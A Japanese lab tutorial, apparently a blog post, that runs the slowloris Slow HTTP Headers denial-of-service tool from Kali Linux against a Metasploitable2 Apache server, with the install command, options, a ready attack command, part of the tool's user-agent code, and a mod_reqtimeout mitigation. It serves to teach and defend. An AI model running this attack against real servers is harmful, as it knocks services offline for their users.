注意
必ずローカル環境で実行してください。
環境
攻撃者マシン
- Kali Linux
ターゲットマシン
- metasploitable2
slowlorisとは
Slow HTTP Headers Attackを用いたDos攻撃ツール。
Slow HTTP Headers Attackは、待機時間を挟みながら、長大なHTTPリクエストヘッダを送信し続けることにより、TCPセッションの占有を図る攻撃手法。
slowlorisのインストール
git clone https://github.com/gkbrk/slowloris.git
攻撃前Webページ
metasploitable2でApache/2.2.8を動かしている。
オプション
- -p
- ターゲットWebサーバーのポート。通常では80。
- -s
- 使用するソケット数。
- -v
- ロギング (端末上の出力) を増加します。
- -ua
- リクエストごとにユーザーエージェントをランダム化します。
- -x
- 接続には SOCKS5 プロキシを使用します。
- --https
- リクエストにはHTTPSを使用してください。
- --sleeptime
- 各ヘッダーが送信されるまでのスリープ時間。
攻撃の実行
sudo python3 slowloris <target ip address> -s 500
攻撃後Webページ
ターゲットサーバーのリソース状況
下記コマンドで接続数確認。
netstat -tan | grep ':80 ' | awk '{print $6}' | sort | uniq -c
実行前
実行後
コネクション数が増加していることが確認できる。
オプションを付与する
-uaの場合
User-Agentが下記リストの中からランダムに変化していることが確認できる。
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
下記の処理で-uaオプションがある時にUser-Agentをランダムにセットしている。
ua = user_agents[0]
if args.randuseragent:
ua = random.choice(user_agents)
s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s
対策
「mod_reqtimeout」モジュールでの対策
Apache 2.2.15以降に追加された「mod_reqtimeout」モジュールを設定ファイルに追記。
リクエストのヘッダーとボディの受信時間を設定。
クライアントが時間内に送信できない場合は、408 Request Timeoutエラーが送信されるため、サービス拒否攻撃が防止できる。
今回はAlmaLinux上でApache/2.4.37を起動。
下記を追記。
<ifModule reqtimeout_module>
RequestReadTimeout header=10 body=30
</ifModule>
対策はあくまで一例です。
他サイトで「mod_noloris」や「mod_antiloris」モジュールでの対策が記載されていたが、Apache/2.4では該当モジュールは実装されていない。
参考サイト